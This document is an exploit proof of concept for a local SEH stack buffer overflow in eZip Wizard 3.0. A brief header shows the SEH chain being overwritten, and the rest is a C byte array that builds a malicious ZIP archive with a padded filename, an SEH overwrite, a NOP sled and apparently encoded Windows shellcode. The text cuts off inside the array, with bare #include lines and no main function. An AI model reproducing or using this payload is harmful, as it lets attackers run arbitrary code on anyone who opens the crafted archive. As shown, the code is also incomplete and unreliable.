eZip Wizard 3.0 Local Stack Buffer Overflow PoC (SEH)

ezip wizard Local Stack Buffer Overflow (SEH) POC
SEH chain of main thread
Address SE handler
0012FC60 58585858
0012FC60 41414141 AAAA Pointer to next SEH record

Old bug ,still not fixed by vendors ,this kind of file can cause problems to a lot of soft of this kind.
Ex: ZipGenius stack buffer overflow (SEH overwrite)
zip it fast format string buffer overflow
Power zip 7.2 stack buffer overflow
and so on..

#include
#include
#include



char file[] =
{
0x50, 0x4B, 0x03, 0x04, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB7, 0xAC, 0xCE, 0x34, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x08, 0x00, 0x00, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x66, 0x66, 0x64, 0x73, 0x75, 0x69, 0x62, 0x7A, 0x65, 0x6F, 0x69, 0x76, 0x7A, 0x20, 0x66, 0x68,
0x65, 0x6F, 0x20, 0x79, 0x66, 0x6F, 0x7A, 0x69, 0x61, 0x71, 0x20, 0x6F, 0x69, 0x65, 0x61, 0x7A,
0x75, 0x20, 0x7A, 0x71, 0x6F, 0x66, 0x68, 0x75, 0x65, 0x7A, 0x71, 0x6F, 0x69, 0x65, 0x6E, 0x66,
0x65, 0x7A, 0x6A, 0x75, 0x71, 0x63, 0x62, 0x75, 0x71, 0x70, 0x7A, 0x61, 0x7A, 0x69, 0x27, 0x74,
0x75, 0x72, 0x65, 0x6F, 0x7A, 0x6E, 0x62, 0x69, 0x6A, 0x75, 0x76, 0x62, 0x67, 0x73, 0x64, 0x75,
0x69, 0x71, 0x79, 0x72, 0x7A, 0x61, 0x6A, 0x20, 0x62, 0x63, 0x73, 0x64, 0x6F, 0x70, 0x69, 0x75,
0x72, 0x79, 0x7A, 0x6F, 0x65, 0x61, 0x71, 0x6E, 0x62, 0x69, 0x6F, 0x64, 0x73, 0x79, 0x72, 0x66,
0x65, 0x7A, 0x71, 0x6F, 0x69, 0x70, 0x62, 0x75, 0x66, 0x63, 0x73, 0x71, 0x69, 0x75, 0x79, 0x72,
0x61, 0x7A, 0x62, 0x69, 0x6A, 0x65, 0x66, 0x62, 0x68, 0x73, 0x75, 0x69, 0x71, 0x76, 0x64, 0x73,
0x71, 0x69, 0x6A, 0x62, 0x66, 0x65, 0x7A, 0x71, 0x75, 0x61, 0x66, 0x64, 0x64, 0x64, 0x64, 0x64,
0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x68, 0x68,
0x68, 0x68, 0x68, 0x68, 0x68, 0x68, 0x68, 0x68, 0x68, 0x68, 0x68, 0x68, 0x68, 0x75, 0x75, 0x75,
0x75, 0x75, 0x75, 0x75, 0x75, 0x75, 0x75, 0x75, 0x68, 0x76, 0x71, 0x24, 0x69, 0x66, 0x72, 0x7A,
0x65, 0x6F, 0x62, 0x76, 0x69, 0x6F, 0x7A, 0x65, 0x71, 0x66, 0x74, 0x72, 0x65, 0x6F, 0x7A, 0x71,
0x6A, 0x6E, 0x62, 0x76, 0x64, 0x73, 0x70, 0x69, 0x79, 0x75, 0x66, 0x71, 0x6F, 0x65, 0x69, 0x68,
0x66, 0x72, 0x6F, 0x75, 0x65, 0x7A, 0x68, 0x61, 0x72, 0x62, 0x20, 0x69, 0x76, 0x66, 0x64, 0x73,
0x70, 0x6F, 0x68, 0x6A, 0x72, 0x65, 0x71, 0x6F, 0x75, 0x68, 0x66, 0x7A, 0x65, 0x61, 0x71, 0x75,
0x68, 0x76, 0x71, 0x6F, 0x75, 0x68, 0x65, 0x66, 0x6F, 0x71, 0x73, 0x69, 0x6A, 0x68, 0x64, 0x6F,
0x73, 0x71, 0x68, 0x76, 0x64, 0x6F, 0x69, 0x68, 0x7A, 0x61, 0x71, 0x6F, 0x65, 0x69, 0x68, 0x66,
0x64, 0x73, 0x6F, 0x69, 0x75, 0x68, 0x76, 0x63, 0x78, 0x77, 0x69, 0x75, 0x68, 0x66, 0x71, 0x6F,
0x75, 0x69, 0x68, 0x76, 0x77, 0x78, 0x6F, 0x69, 0x68, 0x66, 0x64, 0x73, 0x71, 0x6F, 0x69, 0x68,
0x76, 0x64, 0x73, 0x71, 0x6F, 0x69, 0x75, 0x68, 0x7A, 0x67, 0x66, 0x6F, 0x69, 0x68, 0x73, 0x64,
0x71, 0x6F, 0x69, 0x75, 0x68, 0x67, 0x7A, 0x65, 0x71, 0x6F, 0x69, 0x68, 0x67, 0x73, 0x71, 0x6F,
0x69, 0x68, 0x67, 0x7A, 0x61, 0x65, 0x7A, 0x72, 0x75, 0x79, 0x61, 0x75, 0x79, 0x74, 0x61, 0x65,
0x70, 0x69, 0x75, 0x79, 0x55, 0x59, 0x54, 0x4F, 0x5A, 0x52, 0x45, 0x50, 0x49, 0x48, 0x47, 0x41,
0x5A, 0x55, 0x59, 0x56, 0x44, 0x53, 0x4F, 0x49, 0x59, 0x54, 0x41, 0x50, 0x4F, 0x49, 0x55, 0x45,
0x59, 0x52, 0x49, 0x55, 0x45, 0x5A, 0x59, 0x47, 0x42, 0x4B, 0x4A, 0x43, 0x58, 0x4E, 0x4B, 0x56,
0x4E, 0x4B, 0x43, 0x58, 0x42, 0x57, 0x56, 0x4B, 0x4A, 0x4E, 0x42, 0x43, 0x58, 0x48, 0x42, 0x4B,
0x4A, 0x44, 0x48, 0x46, 0x4F, 0x49, 0x48, 0x5A, 0x45, 0x52, 0x4F, 0x49, 0x55, 0x48, 0x45, 0x5A,
0x55, 0x49, 0x4F, 0x41, 0x42, 0x45, 0x5A, 0x55, 0x49, 0x42, 0x47, 0x55, 0x49, 0x56, 0x43, 0x50,
0x4C, 0x44, 0x53, 0x47, 0x57, 0x4B, 0x52, 0x54, 0x42, 0x4E, 0x49, 0x55, 0x43, 0x49, 0x55, 0x4F,
0x51, 0x45, 0x42, 0x48, 0x52, 0x55, 0x49, 0x59, 0x44, 0x46, 0x51, 0x50, 0x5A, 0x49, 0x55, 0x45,
0x52, 0x50, 0x49, 0x55, 0x44, 0x59, 0x46, 0x54, 0x50, 0x41, 0x49, 0x5A, 0x55, 0x45, 0x59, 0x52,
0x5A, 0x45, 0x55, 0x48, 0x52, 0x54, 0x49, 0x55, 0x50, 0x56, 0x58, 0x57, 0x4B, 0x4A, 0x43, 0x4E,
0x48, 0x42, 0x47, 0x50, 0x46, 0x4F, 0x49, 0x55, 0x50, 0x41, 0x49, 0x52, 0x59, 0x45, 0x5A, 0x4F,
0x41, 0x49, 0x54, 0x59, 0x38, 0x37, 0x33, 0x32, 0x39, 0x35, 0x36, 0x35, 0x39, 0x34, 0x38, 0x33,
0x32, 0x36, 0x35, 0x46, 0x53, 0x34, 0x38, 0x59, 0x46, 0x44, 0x53, 0x39, 0x38, 0x59, 0x55, 0x56,
0x47, 0x30, 0x39, 0x38, 0x51, 0x59, 0x55, 0x52, 0x30, 0x39, 0x38, 0x34, 0x59, 0x35, 0x32, 0x33,
0x39, 0x38, 0x41, 0x59, 0x39, 0x46, 0x38, 0x45, 0x51, 0x59, 0x5A, 0x35, 0x39, 0x38, 0x59, 0x36,
0x39, 0x38, 0x46, 0x47, 0x59, 0x39, 0x38, 0x51, 0x59, 0x39, 0x47, 0x46, 0x44, 0x53, 0x55, 0x59,
0x30, 0x39, 0x48, 0x34, 0x5A, 0x48, 0x33, 0x37, 0x38, 0x35, 0x32, 0x33, 0x31, 0x42, 0x34, 0x47,
0x38, 0x30, 0x47, 0x46, 0x44, 0x53, 0x55, 0x49, 0x42, 0x56, 0x51, 0x49, 0x55, 0x4F, 0x59, 0x50,
0x52, 0x39, 0x5A, 0x48, 0x46, 0x44, 0x53, 0x51, 0x55, 0x49, 0x47, 0x46, 0x47, 0x44, 0x55, 0x53,
0x53, 0x53, 0x53, 0x53, 0x45, 0x47, 0x46, 0x39, 0x32, 0x47, 0x35, 0x33, 0x34, 0x55, 0x47, 0x46,
0x39, 0x49, 0x53, 0x50, 0x47, 0x42, 0x55, 0x54, 0x50, 0x5A, 0x39, 0x38, 0x59, 0x35, 0x33, 0x41,
0x41, 0x42, 0x43, 0x43, 0x46, 0x52, 0x45, 0x43, 0x43, 0x45, 0x54, 0x52, 0x45, 0x5A, 0x47, 0x52,
0x46, 0x44, 0x53, 0x49, 0x4F, 0x5A, 0x48, 0x45, 0x52, 0x42, 0x4E, 0x4F, 0x56, 0x46, 0x44, 0x53,
0x4F, 0x49, 0x52, 0x48, 0x54, 0x4F, 0x5A, 0x49, 0x4E, 0x46, 0x47, 0x44, 0x4B, 0x4E, 0x46, 0x43,
0x58, 0x4C, 0x4B, 0x59, 0x89, 0x05, 0x8A, 0x9B, 0x98, 0x98, 0x98, 0x4F, 0x49, 0x49, 0x49, 0x49,
0x49, 0x49, 0x51, 0x5A, 0x56, 0x54, 0x58, 0x36, 0x33, 0x30, 0x56, 0x58, 0x34, 0x41, 0x30, 0x42,
0x36, 0x48, 0x48, 0x30, 0x42, 0x33, 0x30, 0x42, 0x43, 0x56, 0x58, 0x32, 0x42, 0x44, 0x42, 0x48,
0x34, 0x41, 0x32, 0x41, 0x44, 0x30, 0x41, 0x44, 0x54, 0x42, 0x44, 0x51, 0x42, 0x30, 0x41, 0x44,
0x41, 0x56, 0x58, 0x34, 0x5A, 0x38, 0x42, 0x44, 0x4A, 0x4F, 0x4D, 0x4E, 0x4F, 0x4C, 0x36, 0x4B,
0x4E, 0x4D, 0x54, 0x4A, 0x4E, 0x49, 0x4F, 0x4F, 0x4F, 0x4F, 0x4F, 0x4F, 0x4F, 0x42, 0x36, 0x4B,
0x38, 0x4E, 0x46, 0x46, 0x42, 0x46, 0x42, 0x4B, 0x58, 0x45, 0x44, 0x4E, 0x43, 0x4B, 0x38, 0x4E,
0x37, 0x45, 0x30, 0x4A, 0x57, 0x41, 0x50, 0x4F, 0x4E, 0x4B, 0x48, 0x4F, 0x34, 0x4A, 0x51, 0x4B,
0x38, 0x4F, 0x45, 0x42, 0x32, 0x41, 0x30, 0x4B, 0x4E, 0x49, 0x44, 0x4B, 0x38, 0x46, 0x43, 0x4B,
0x58, 0x41, 0x50, 0x50, 0x4E, 0x41, 0x43, 0x42, 0x4C, 0x49, 0x59, 0x4E, 0x4A, 0x46, 0x58, 0x42,
0x4C, 0x46, 0x37, 0x47, 0x30, 0x41, 0x4C, 0x4C, 0x4C, 0x4D, 0x30, 0x41, 0x30, 0x44, 0x4C, 0x4B,
0x4E, 0x46, 0x4F, 0x4B, 0x33, 0x46, 0x35, 0x46, 0x32, 0x4A, 0x52, 0x45, 0x57, 0x45, 0x4E, 0x4B,
0x48, 0x4F, 0x35, 0x46, 0x42, 0x41, 0x30, 0x4B, 0x4E, 0x48, 0x36, 0x4B, 0x58, 0x4E, 0x50, 0x4B,
0x54, 0x4B, 0x48, 0x4F, 0x35, 0x4E, 0x41, 0x41, 0x30, 0x4B, 0x4E, 0x43, 0x30, 0x4E, 0x52, 0x4B,
0x58, 0x49, 0x48, 0x4E, 0x56, 0x46, 0x32, 0x4E, 0x31, 0x41, 0x36, 0x43, 0x4C, 0x41, 0x43, 0x4B,
0x4D, 0x46, 0x56, 0x4B, 0x48, 0x43, 0x44, 0x42, 0x53, 0x4B, 0x48, 0x42, 0x44, 0x4E, 0x50, 0x4B,
0x38, 0x42, 0x37, 0x4E, 0x41, 0x4D, 0x4A, 0x4B, 0x48, 0x42, 0x44, 0x4A, 0x30, 0x50, 0x45, 0x4A,
0x36, 0x50, 0x38, 0x50, 0x44, 0x50, 0x30, 0x4E, 0x4E, 0x42, 0x35, 0x4F, 0x4F, 0x48, 0x4D, 0x48,
0x46, 0x43, 0x45, 0x48, 0x56, 0x4A, 0x46, 0x43, 0x43, 0x44, 0x33, 0x4A, 0x56, 0x47, 0x37, 0x43,
0x37, 0x44, 0x43, 0x4F, 0x55, 0x46, 0x45, 0x4F, 0x4F, 0x42, 0x4D, 0x4A, 0x36, 0x4B, 0x4C, 0x4D,
0x4E, 0x4E, 0x4F, 0x4B, 0x33, 0x42, 0x55, 0x4F, 0x4F, 0x48, 0x4D, 0x4F, 0x45, 0x49, 0x58, 0x45,
0x4E, 0x48, 0x56, 0x41, 0x48, 0x4D, 0x4E, 0x4A, 0x50, 0x44, 0x30, 0x45, 0x35, 0x4C, 0x36, 0x44,
0x50, 0x4F, 0x4F, 0x42, 0x4D, 0x4A, 0x36, 0x49, 0x4D, 0x49, 0x50, 0x45, 0x4F, 0x4D, 0x4A, 0x47,
0x45, 0x4F, 0x4F, 0x48, 0x4D, 0x43, 0x55, 0x43, 0x45, 0x43, 0x35, 0x43, 0x35, 0x43, 0x35, 0x43,
0x54, 0x43, 0x55, 0x43, 0x54, 0x43, 0x35, 0x4F, 0x4F, 0x42, 0x4D, 0x48, 0x46, 0x4A, 0x56, 0x41,
0x41, 0x4E, 0x45, 0x48, 0x56, 0x43, 0x45, 0x49, 0x48, 0x41, 0x4E, 0x45, 0x59, 0x4A, 0x46, 0x46,
0x4A, 0x4C, 0x31, 0x42, 0x57, 0x47, 0x4C, 0x47, 0x55, 0x4F, 0x4F, 0x48, 0x4D, 0x4C, 0x36, 0x42,
0x41, 0x41, 0x35, 0x45, 0x45, 0x4F, 0x4F, 0x42, 0x4D, 0x4A, 0x56, 0x46, 0x4A, 0x4D, 0x4A, 0x50,
0x32, 0x49, 0x4E, 0x47, 0x35, 0x4F, 0x4F, 0x48, 0x4D, 0x43, 0x55, 0x45, 0x45, 0x4F, 0x4F, 0x42,
0x4D, 0x4A, 0x56, 0x45, 0x4E, 0x49, 0x54, 0x48, 0x58, 0x49, 0x44, 0x47, 0x45, 0x4F, 0x4F, 0x48,
0x4D, 0x42, 0x35, 0x46, 0x55, 0x46, 0x55, 0x45, 0x55, 0x4F, 0x4F, 0x42, 0x4D, 0x43, 0x39, 0x4A,
0x36, 0x47, 0x4E, 0x49, 0x47, 0x48, 0x4C, 0x49, 0x57, 0x47, 0x45, 0x4F, 0x4F, 0x48, 0x4D, 0x45,
0x55, 0x4F, 0x4F, 0x42, 0x4D, 0x48, 0x46, 0x4C, 0x56, 0x46, 0x36, 0x48, 0x36, 0x4A, 0x56, 0x43,
0x46, 0x4D, 0x36, 0x49, 0x48, 0x45, 0x4E, 0x4C, 0x46, 0x42, 0x45, 0x49, 0x35, 0x49, 0x32, 0x4E,
0x4C, 0x49, 0x38, 0x47, 0x4E, 0x4C, 0x56, 0x46, 0x34, 0x49, 0x58, 0x44, 0x4E, 0x41, 0x43, 0x42,
0x4C, 0x43, 0x4F, 0x4C, 0x4A, 0x50, 0x4F, 0x44, 0x54, 0x4D, 0x32, 0x50, 0x4F, 0x44, 0x34, 0x4E,
0x52, 0x43, 0x39, 0x4D, 0x38, 0x4C, 0x37, 0x4A, 0x33, 0x4B, 0x4A, 0x4B, 0x4A, 0x4B, 0x4A, 0x4A,
0x56, 0x44, 0x57, 0x50, 0x4F, 0x43, 0x4B, 0x48, 0x41, 0x4F, 0x4F, 0x45, 0x37, 0x46, 0x44, 0x4F,
0x4F, 0x48, 0x4D, 0x4B, 0x45, 0x47, 0x45, 0x44, 0x55, 0x41, 0x35, 0x41, 0x45, 0x41, 0x35, 0x4C,
0x36, 0x41, 0x30, 0x41, 0x55, 0x41, 0x45, 0x45, 0x45, 0x41, 0x45, 0x4F, 0x4F, 0x42, 0x4D, 0x4A,
0x46, 0x4D, 0x4A, 0x49, 0x4D, 0x45, 0x30, 0x50, 0x4C, 0x43, 0x55, 0x4F, 0x4F, 0x48, 0x4D, 0x4C,
0x36, 0x4F, 0x4F, 0x4F, 0x4F, 0x47, 0x43, 0x4F, 0x4F, 0x42, 0x4D, 0x4B, 0x48, 0x47, 0x45, 0x4E,
0x4F, 0x43, 0x58, 0x46, 0x4C, 0x46, 0x46, 0x4F, 0x4F, 0x48, 0x4D, 0x44, 0x45, 0x4F, 0x4F, 0x42,
0x4D, 0x4A, 0x56, 0x42, 0x4F, 0x4C, 0x48, 0x46, 0x50, 0x4F, 0x45, 0x43, 0x55, 0x4F, 0x4F, 0x48,
0x4D, 0x4F, 0x4F, 0x42, 0x4D, 0x5A, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x41, 0x49, 0x89, 0x04, 0x02, 0x12, 0x01, 0x61, 0x82, 0xFD, 0x81, 0x98, 0x98, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x2E, 0x74,
0x78, 0x74, 0x50, 0x4B, 0x01, 0x02, 0x14, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB7, 0xAC,
0xCE, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x08,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45,
0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x41, 0x42, 0x43, 0x44, 0x45, 0x58, 0x58, 0x58, 0x58, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x31, 0xC9, 0x83, 0xE9, 0xB0, 0xD9, 0xEE, 0xD9, 0x74,
0x24, 0xF4, 0x5B, 0x81, 0x73, 0x13, 0x50, 0x8A, 0xFA, 0x90, 0x83, 0xEB, 0xFC, 0xE2, 0xF4, 0xAC,
0xE0, 0x11, 0xDD, 0xB8, 0x73, 0x05, 0x6F, 0xAF, 0xEA, 0x71, 0xFC, 0x74, 0xAE, 0x71, 0xD5, 0x6C,
0x01, 0x86, 0x95, 0x28, 0x8B, 0x15, 0x1B, 0x1F, 0x92, 0x71, 0xCF, 0x70, 0x8B, 0x11, 0xD9, 0xDB,
0xBE, 0x71, 0x91, 0xBE, 0xBB, 0x3A, 0x09, 0xFC, 0x0E, 0x3A, 0xE4, 0x57, 0x4B, 0x30, 0x9D, 0x51,
0x48, 0x11, 0x64, 0x6B, 0xDE, 0xDE, 0xB8, 0x25, 0x6F, 0x71, 0xCF, 0x74, 0x8B, 0x11, 0xF6, 0xDB,
0x86, 0xB1, 0x1B, 0x0F, 0x96, 0xFB, 0x7B, 0x53, 0xA6, 0x71, 0x19, 0x3C, 0xAE, 0xE6, 0xF1, 0x93,
0xBB, 0x21, 0xF4, 0xDB, 0xC9, 0xCA, 0x1B, 0x10, 0x86, 0x71, 0xE0, 0x4C, 0x27, 0x71, 0xD0, 0x58,
0xD4, 0x92, 0x1E, 0x1E, 0x84, 0x16, 0xC0, 0xAF, 0x5C, 0x9C, 0xC3, 0x36, 0xE2, 0xC9, 0xA2, 0x38,
0xFD, 0x89, 0xA2, 0x0F, 0xDE, 0x05, 0x40, 0x38, 0x41, 0x17, 0x6C, 0x6B, 0xDA, 0x05, 0x46, 0x0F,
0x03, 0x1F, 0xF6, 0xD1, 0x67, 0xF2, 0x92, 0x05, 0xE0, 0xF8, 0x6F, 0x80, 0xE2, 0x23, 0x99, 0xA5,
0x27, 0xAD, 0x6F, 0x86, 0xD9, 0xA9, 0xC3, 0x03, 0xD9, 0xB9, 0xC3, 0x13, 0xD9, 0x05, 0x40, 0x36,
0xE2, 0xEB, 0xCC, 0x36, 0xD9, 0x73, 0x71, 0xC5, 0xE2, 0x5E, 0x8A, 0x20, 0x4D, 0xAD, 0x6F, 0x86,
0xE0, 0xEA, 0xC1, 0x05, 0x75, 0x2A, 0xF8, 0xF4, 0x27, 0xD4, 0x79, 0x07, 0x75, 0x2C, 0xC3, 0x05,
0x75, 0x2A, 0xF8, 0xB5, 0xC3, 0x7C, 0xD9, 0x07, 0x75, 0x2C, 0xC0, 0x04, 0xDE, 0xAF, 0x6F, 0x80,
0x19, 0x92, 0x77, 0x29, 0x4C, 0x83, 0xC7, 0xAF, 0x5C, 0xAF, 0x6F, 0x80, 0xEC, 0x90, 0xF4, 0x36,
0xE2, 0x99, 0xFD, 0xD9, 0x6F, 0x90, 0xC0, 0x09, 0xA3, 0x36, 0x19, 0xB7, 0xE0, 0xBE, 0x19, 0xB2,
0xBB, 0x3A, 0x63, 0xFA, 0x74, 0xB8, 0xBD, 0xAE, 0xC8, 0xD6, 0x03, 0xDD, 0xF0, 0xC2, 0x3B, 0xFB,
0x21, 0x92, 0xE2, 0xAE, 0x39, 0xEC, 0x6F, 0x25, 0xCE, 0x05, 0x46, 0x0B, 0xDD, 0xA8, 0xC1, 0x01,
